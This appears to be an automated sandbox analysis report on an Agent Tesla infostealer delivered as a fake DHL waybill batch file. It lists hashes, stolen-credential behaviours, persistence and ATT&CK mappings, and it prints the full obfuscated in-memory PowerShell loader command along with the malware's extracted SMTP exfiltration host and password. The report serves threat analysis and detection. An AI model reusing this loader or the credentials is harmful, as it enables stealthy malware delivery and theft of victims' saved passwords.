Analysis
- max time kernel
136s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system - submitted
30/07/2024, 15:32
Static task
static1
Behavioral task
behavioral1
Sample
DHL-AIR-WAYBILL.bat
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
DHL-AIR-WAYBILL.bat
Resource
win10v2004-20240709-en
General
- Target DHL-AIR-WAYBILL.bat
- Size 1.6MB
- Sample240730-syn3fswgkm
- SHA256 abcdce91fde094dd2eeafa37e7cf5c8c9a880739b53ed0b882770cd55ee9fc52
- MD5 5614a332eacd0025f83cbf892d4be846
- SHA1 b155ba956a29030dd10bce50b788ad774b21cfbf
- SHA512 dfab530c3019c073c83d6accc472c9017931ffdece3e516796218559c93452c6aa7bb6ec98f5673bb16453fefc6b3333d9613875fca1cebee2d5d1611d3a78b7
- SSDEEP 24576:JeqzkVnLsr2uqZUrfsrOObPuQ79tr9RAEabKyeE+17mop1RM4N4/hSBDy6S9H3yg:dz1Prsp/9jzyeE0Nl89H3jMG
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
agenttesla
-
Protocol
smtp
-
Host
mail.keeptraveling-eg.com
-
Port
587
-
Username
-
Password
Do76#Zbbdonia
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
- Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 1752 attrib.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation DHL-AIR-WAYBILL.bat.Plq - Executes dropped EXE 1 IoCs
pid Process 4548 DHL-AIR-WAYBILL.bat.Plq - Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rrmunadcd = "C:\\Users\\Admin\\AppData\\Roaming\\Rrmunadcd.bat" DHL-AIR-WAYBILL.bat.Plq - Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 29 api.ipify.org 30 api.ipify.org 31 ip-api.com - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language DHL-AIR-WAYBILL.bat.Plq Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe - Delays execution with timeout.exe 2 IoCs
pid Process 2216 timeout.exe 1360 timeout.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4548 DHL-AIR-WAYBILL.bat.Plq 4548 DHL-AIR-WAYBILL.bat.Plq 4548 DHL-AIR-WAYBILL.bat.Plq 4548 DHL-AIR-WAYBILL.bat.Plq - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4548 DHL-AIR-WAYBILL.bat.Plq Token: SeDebugPrivilege 4548 DHL-AIR-WAYBILL.bat.Plq Token: SeDebugPrivilege 4548 DHL-AIR-WAYBILL.bat.Plq Token: SeDebugPrivilege 4548 DHL-AIR-WAYBILL.bat.Plq - Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 4132 wrote to memory of 1104 4132 cmd.exe 85 PID 4132 wrote to memory of 1104 4132 cmd.exe 85 PID 4132 wrote to memory of 4864 4132 cmd.exe 86 PID 4132 wrote to memory of 4864 4132 cmd.exe 86 PID 4132 wrote to memory of 1752 4132 cmd.exe 87 PID 4132 wrote to memory of 1752 4132 cmd.exe 87 PID 4132 wrote to memory of 4548 4132 cmd.exe 89 PID 4132 wrote to memory of 4548 4132 cmd.exe 89 PID 4132 wrote to memory of 4548 4132 cmd.exe 89 PID 4548 wrote to memory of 2884 4548 DHL-AIR-WAYBILL.bat.Plq 92 PID 4548 wrote to memory of 2884 4548 DHL-AIR-WAYBILL.bat.Plq 92 PID 4548 wrote to memory of 2884 4548 DHL-AIR-WAYBILL.bat.Plq 92 PID 2884 wrote to memory of 2216 2884 cmd.exe 94 PID 2884 wrote to memory of 2216 2884 cmd.exe 94 PID 2884 wrote to memory of 2216 2884 cmd.exe 94 PID 4548 wrote to memory of 1856 4548 DHL-AIR-WAYBILL.bat.Plq 99 PID 4548 wrote to memory of 1856 4548 DHL-AIR-WAYBILL.bat.Plq 99 PID 4548 wrote to memory of 1856 4548 DHL-AIR-WAYBILL.bat.Plq 99 PID 1856 wrote to memory of 1360 1856 cmd.exe 101 PID 1856 wrote to memory of 1360 1856 cmd.exe 101 PID 1856 wrote to memory of 1360 1856 cmd.exe 101 - Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1752 attrib.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4132 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵PID:1104
-
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat.Plq2⤵PID:4864
-
-
C:\Windows\system32\attrib.exeattrib +s +h C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat.Plq2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:1752
-
-
C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat.PlqC:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat.Plq -WindowStyle hidden -command "$Hgoqisbp = get-content 'C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat' | Select-Object -Last 1; $Ukzawnkqruz = [System.Convert]::FromBase64String($Hgoqisbp);$Uqvewwx = New-Object System.IO.MemoryStream( , $Ukzawnkqruz );$Xenjxehdvji = New-Object System.IO.MemoryStream;$Pctfsel = New-Object System.IO.Compression.GzipStream $Uqvewwx, ([IO.Compression.CompressionMode]::Decompress);$Pctfsel.CopyTo( $Xenjxehdvji );$Pctfsel.Close();$Uqvewwx.Close();[byte[]] $Ukzawnkqruz = $Xenjxehdvji.ToArray();[Array]::Reverse($Ukzawnkqruz); $Gmduu = [System.Threading.Thread]::GetDomain().Load($Ukzawnkqruz); $Oygpjvh = $Gmduu.EntryPoint; [System.Delegate]::CreateDelegate([Action], $Oygpjvh.DeclaringType, $Oygpjvh.Name).DynamicInvoke() | Out-Null"2⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 53⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\SysWOW64\timeout.exetimeout 54⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:2216
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 53⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\Windows\SysWOW64\timeout.exetimeout 54⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:1360
-
-
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Modify Registry
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
3Credentials in Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat.Plq
- Size 423KB
- SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
- MD5 c32ca4acfcc635ec1ea6ed8a34df5fac
- SHA1 f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
- SHA512 6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
- SSDEEP 6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fmikjuso.bt4.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512